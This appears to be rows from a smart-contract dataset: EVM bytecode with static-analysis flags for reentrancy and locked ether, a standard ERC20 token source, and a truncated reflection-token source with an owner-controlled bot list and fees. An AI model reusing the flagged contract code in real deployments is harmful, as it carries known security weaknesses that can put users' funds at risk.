000000000000000000900467ffffffffffffffff1682565b60006104a8611387565b5060008381526003602090815260408083208151808301835290546fffffffffffffffffffffffffffffffff808216835270010000000000000000000000000000000090910467ffffffffffffffff1682850152878552600480855283862073ffffffffffffffffffffffffffffffffffffffff89811688529552838620835194517f78ed5d1f00000000000000000000000000000000000000000000000000000000815293969095949092169391927f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d909216916378ed5d1f9161058f918b91016119fd565b60206040518083038186803b1580156105a757600080fd5b505afa1580156105bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105df9190611478565b73ffffffffffffffffffffffffffffffffffffffff166370a082317f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d6040518263ffffffff1660e01b81526004016106379190611620565b60206040518083038186803b15801561064f57600080fd5b505afa158015610663573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068791906114fe565b9050836020015167ffffffffffffffff16421180156106a557508015155b156107105760006106cd856020015167ffffffffffffffff164261111e90919063ffffffff16565b905060006106e66005548361114790919063ffffffff16565b905061070b836106fb8364e8d4a51000611147565b8161070257fe5b8691900461117e565b935050505b6001830154835461073b919064e8d4a510009061072d9086611147565b8161073457fe5b049061111e565b979650505050505050565b60025473ffffffffffffffffffffffffffffffffffffffff161561077c5760405162461bcd60e51b815260040161033190611930565b61078881830183611494565b600680547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff9384161790915560059290925560008054831693821693909317909255600280549091169282169290921791829055166108115760405162461bcd60e51b815260040161033190611967565b60065460025460005460055460405173ffffffffffffffffffffffffffffffffffffffff94851694938416937f4df6005d9c1e62d1d95592850d1c3256ee902631dd819a342f1756ab834894399361086b93911691611641565b60405180910390a35050565b60015473ffffffffffffffffffffffffffffffffffffffff163381146108af5760405162461bcd60e51b81526004016103319061188d565b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff9092167fffffffffffffffffffffffff0000000000000000000000000000000000000000928316179055600180549091169055565b61094b611387565b506000818152600360209081526040918290208251808401909352546fffffffffffffffffffffffffffffffff81168352700100000000000000000000000000000000900467ffffffffffffffff16908201819052421115610c96576040517f78ed5d1f00000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d16906378ed5d1f90610a1c9086906004016119fd565b60206040518083038186803b158015610a3457600080fd5b505afa158015610a48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6c9190611478565b73ffffffffffffffffffffffffffffffffffffffff166370a082317f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d6040518263ffffffff1660e01b8152600401610ac49190611620565b60206040518083038186803b158015610adc57600080fd5b505afa158015610af0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1491906114fe565b90508015610bae576000610b3f836020015167ffffffffffffffff164261111e90919063ffffffff16565b90506000610b586005548361114790919063ffffffff16565b9050610b97610b7d84610b708464e8d4a51000611147565b81610b7757fe5b046111a1565b85516fffffffffffffffffffffffffffffffff16906111d7565b6fffffffffffffffffffffffffffffffff16845250505b610bb74261120f565b67ffffffffffffffff9081166020848101918252600086815260039091526040908190208551815493517fffffffffffffffffffffffffffffffff000000000000000000000000000000009094166fffffffffffffffffffffffffffffffff8216177fffffffffffffffff0000000000000000ffffffffffffffffffffffffffffffff16700100000000000000000000000000000000958516959095029490941790555185927f0fc9545022a542541ad085d091fb09a2ab36fee366a4576ab63714ea907ad35392610c8c9290918691611a14565b60405180910390a2505b919050565b7f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d81565b60005473ffffffffffffffffffffffffffffffffffffffff163314610cf65760405162461bcd60e51b815260040161033190611858565b60058190556040517fde89cb17ac7f58f94792b3e91e086ed85403819c24ceea882491f960ccb1a27890610d2b9083906119fd565b60405180910390a150565b3373ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d1614610d8b5760405162461bcd60e51b815260040161033190611756565b6006546040517f78ed5d1f00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff918216917f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d16906378ed5d1f90610e049089906004016119fd565b60206040518083038186803b158015610e1c57600080fd5b505afa158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e549190611478565b73ffffffffffffffffffffffffffffffffffffffff1614610e7457600080fd5b610e7c611387565b610e8586610943565b600087815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8a168452909152812080549293509115610f1657600182015483518354610eef929164e8d4a510009161072d916fffffffffffffffffffffffffffffffff16611147565b600254909150610f169073ffffffffffffffffffffffffffffffffffffffff168783611239565b838255825164e8d4a5100090610f3f9086906fffffffffffffffffffffffffffffffff16611147565b81610f4657fe5b0482600101819055508573ffffffffffffffffffffffffffffffffffffffff16888873ffffffffffffffffffffffffffffffffffffffff167f2ece88ca2bc08dd018db50e1d25a20bf1241e5fab1c396caa51f01a54bd2f75b84604051610fad91906119fd565b60405180910390a45050505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60046020908152600092835260408084209091529082529020805460019091015482565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60408051600180825281830190925260609182918291602080830190803683375050600254825192935073ffffffffffffffffffffffffffffffffffffffff169183915060009061106e57fe5b73ffffffffffffffffffffffffffffffffffffffff92909216602092830291909101909101526040805160018082528183019092526060918160200160208202803683370190505090506110c2878761049e565b816000815181106110cf57fe5b602090810291909101015290969095509350505050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b808203828111156111415760405162461bcd60e51b8152600401610331906116e8565b92915050565b60008115806111625750508082028282828161115f57fe5b04145b6111415760405162461bcd60e51b8152600401610331906118f9565b818101818110156111415760405162461bcd60e51b815260040161033190611821565b60006fffffffffffffffffffffffffffffffff8211156111d35760405162461bcd60e51b8152600401610331906117ea565b5090565b8181016fffffffffffffffffffffffffffffffff80831690821610156111415760405162461bcd60e51b815260040161033190611821565b600067ffffffffffffffff8211156111d35760405162461bcd60e51b8152600401610331906118c2565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b858560405160240161126f929190611641565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925290516112f891906115e7565b6000604051808303816000865af19150503d8060008114611335576040519150601f19603f3d011682016040523d82523d6000602084013e61133a565b606091505b509150915081801561136457508051158061136457508080602001905181019061136491906113e8565b6113805760405162461bcd60e51b81526004016103319061171f565b5050505050565b604080518082019091526000808252602082015290565b6000806000606084860312156113b2578283fd5b83356113bd81611a48565b925060208401356113cd81611a6d565b915060408401356113dd81611a6d565b809150509250925092565b6000602082840312156113f9578081fd5b815161140481611a6d565b9392505050565b6000806020838503121561141d578182fd5b823567ffffffffffffffff80821115611434578384fd5b818501915085601f830112611447578384fd5b813581811115611455578485fd5b866020828501011115611466578485fd5b60209290920196919550909350505050565b600060208284031215611489578081fd5b815161140481611a48565b600080600080608085870312156114a9578081fd5b84356114b481611a48565b935060208501356114c481611a48565b92506040850135915060608501356114db81611a48565b939692955090935050565b6000602082840312156114f7578081fd5b5035919050565b60006020828403121561150f578081fd5b5051919050565b60008060408385031215611528578182fd5b82359150602083013561153a81611a48565b809150509250929050565b600080600080600060a0868803121561155c578081fd5b85359450602086013561156e81611a48565b9350604086013561157e81611a48565b94979396509394606081013594506080013592915050565b6000806000606084860312156115aa578283fd5b8335925060208401356115bc81611a48565b929592945050506040919091013590565b73ffffffffffffffffffffffffffffffffffffffff169052565b60008251815b8181101561160757602081860181015185830152016115ed565b818111156116155782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b604080825283519082018190526000906020906060840190828701845b828110156116a7576116978483516115cd565b9284019290840190600101611684565b50505083810382850152845180825285830191830190845b818110156116db578351835292840192918401916001016116bf565b5090979650505050505050565b60208082526015908201527f426f72696e674d6174683a20556e646572666c6f770000000000000000000000604082015260600190565b6020808252601c908201527f426f72696e6745524332303a205472616e73666572206661696c656400000000604082015260600190565b60208082526021908201527f4f6e6c79204d4356322063616e2063616c6c20746869732066756e6374696f6e60408201527f2e00000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526015908201527f4f776e61626c653a207a65726f20616464726573730000000000000000000000604082015260600190565b6020808252601c908201527f426f72696e674d6174683a2075696e74313238204f766572666c6f7700000000604082015260600190565b60208082526018908201527f426f72696e674d6174683a20416464204f766572666c6f770000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572604082015260600190565b6020808252601b908201527f426f72696e674d6174683a2075696e743634204f766572666c6f770000000000604082015260600190565b60208082526018908201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604082015260600190565b6020808252601d908201527f52657761726465723a20616c726561647920696e697469616c697a6564000000604082015260600190565b60208082526013908201527f52657761726465723a2062616420746f6b656e00000000000000000000000000604082015260600190565b81516fffffffffffffffffffffffffffffffff16815260209182015167ffffffffffffffff169181019190915260400190565b6fffffffffffffffffffffffffffffffff92909216825267ffffffffffffffff16602082015260400190565b90815260200190565b918252602082015260400190565b67ffffffffffffffff93909316835260208301919091526fffffffffffffffffffffffffffffffff16604082015260600190565b73ffffffffffffffffffffffffffffffffffffffff81168114611a6a57600080fd5b50565b8015158114611a6a57600080fdfea2646970667358221220f2dc2969dab9bb9d77e25bc72e6c9efeb38aab77b1db04fe943fbe09ee4a3d3f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,737 |
0xe9a0cac02f4e073e662d6dee74c5e1171d822ca3
|
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.3.2 (token/ERC20/ERC20.sol)
pragma solidity 0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name}, {symbol}, {totalSupply} and gives all tokens
* to {initialAddress_}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(address initialAddress_) {
_name = "CHOCKY";
_symbol = "CHOCKY";
_totalSupply = 1000000000 * uint256(10)**decimals();
_balances[initialAddress_] = _totalSupply;
emit Transfer(address(0), initialAddress_, _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100c95760003560e01c80633950935111610081578063a457c2d71161005b578063a457c2d714610177578063a9059cbb1461018a578063dd62ed3e1461019d576100c9565b8063395093511461014957806370a082311461015c57806395d89b411461016f576100c9565b806318160ddd116100b257806318160ddd1461010c57806323b872dd14610121578063313ce56714610134576100c9565b806306fdde03146100ce578063095ea7b3146100ec575b600080fd5b6100d66101b0565b6040516100e39190610875565b60405180910390f35b6100ff6100fa366004610841565b610242565b6040516100e3919061086a565b61011461025f565b6040516100e39190610b71565b6100ff61012f366004610806565b610265565b61013c61033f565b6040516100e39190610b7a565b6100ff610157366004610841565b610344565b61011461016a3660046107b3565b6103a5565b6100d66103d1565b6100ff610185366004610841565b6103e0565b6100ff610198366004610841565b610480565b6101146101ab3660046107d4565b610494565b6060600380546101bf90610bc5565b80601f01602080910402602001604051908101604052809291908181526020018280546101eb90610bc5565b80156102385780601f1061020d57610100808354040283529160200191610238565b820191906000526020600020905b81548152906001019060200180831161021b57829003601f168201915b5050505050905090565b600061025661024f6104cc565b84846104d0565b50600192915050565b60025490565b60006102728484846105df565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600160205260408120816102a06104cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610320576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610317906109fd565b60405180910390fd5b6103348561032c6104cc565b8584036104d0565b506001949350505050565b601290565b60006102566103516104cc565b84846001600061035f6104cc565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918b16815292529020546103a09190610b88565b6104d0565b73ffffffffffffffffffffffffffffffffffffffff81166000908152602081905260409020545b919050565b6060600480546101bf90610bc5565b600080600160006103ef6104cc565b73ffffffffffffffffffffffffffffffffffffffff90811682526020808301939093526040918201600090812091881681529252902054905082811015610462576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161031790610b14565b61047661046d6104cc565b858584036104d0565b5060019392505050565b600061025661048d6104cc565b84846105df565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260016020908152604080832093909416825291909152205490565b3390565b73ffffffffffffffffffffffffffffffffffffffff831661051d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161031790610ab7565b73ffffffffffffffffffffffffffffffffffffffff821661056a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161031790610943565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105d2908590610b71565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff831661062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161031790610a5a565b73ffffffffffffffffffffffffffffffffffffffff8216610679576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610317906108e6565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902054818110156106d9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610317906109a0565b73ffffffffffffffffffffffffffffffffffffffff80851660009081526020819052604080822085850390559185168152908120805484929061071d908490610b88565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107819190610b71565b60405180910390a350505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146103cc57600080fd5b6000602082840312156107c4578081fd5b6107cd8261078f565b9392505050565b600080604083850312156107e6578081fd5b6107ef8361078f565b91506107fd6020840161078f565b90509250929050565b60008060006060848603121561081a578081fd5b6108238461078f565b92506108316020850161078f565b9150604084013590509250925092565b60008060408385031215610853578182fd5b61085c8361078f565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b818110156108a157858101830151858201604001528201610885565b818111156108b25783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201527f6573730000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560408201527f7373000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260408201527f616c616e63650000000000000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160408201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460408201527f7265737300000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760408201527f207a65726f000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610bc0577f4e487b710000000000000000000000000000000000000000000000000000000081526011600452602481fd5b500190565b600281046001821680610bd957607f821691505b60208210811415610c13577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b5091905056fea264697066735822122033c4a991859a3dfc3809dd34556a7add5ab9a918cf45edd4d06f995d4d9ee78a64736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 7,738 |
0x9cC97Bb9F30df3c333a5B3FBd80bDAbec52D4Da8
|
/*
PirateDOGE is a ERC-20 token on the Etheruem blockchain
Website: https://piratedoge.org/
Channel: https://t.me/PiratedogeAnn
Group: https://t.me/MrPiratedoge
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PirateDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Pirate Doge";
string private constant _symbol = "PIRATEDOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
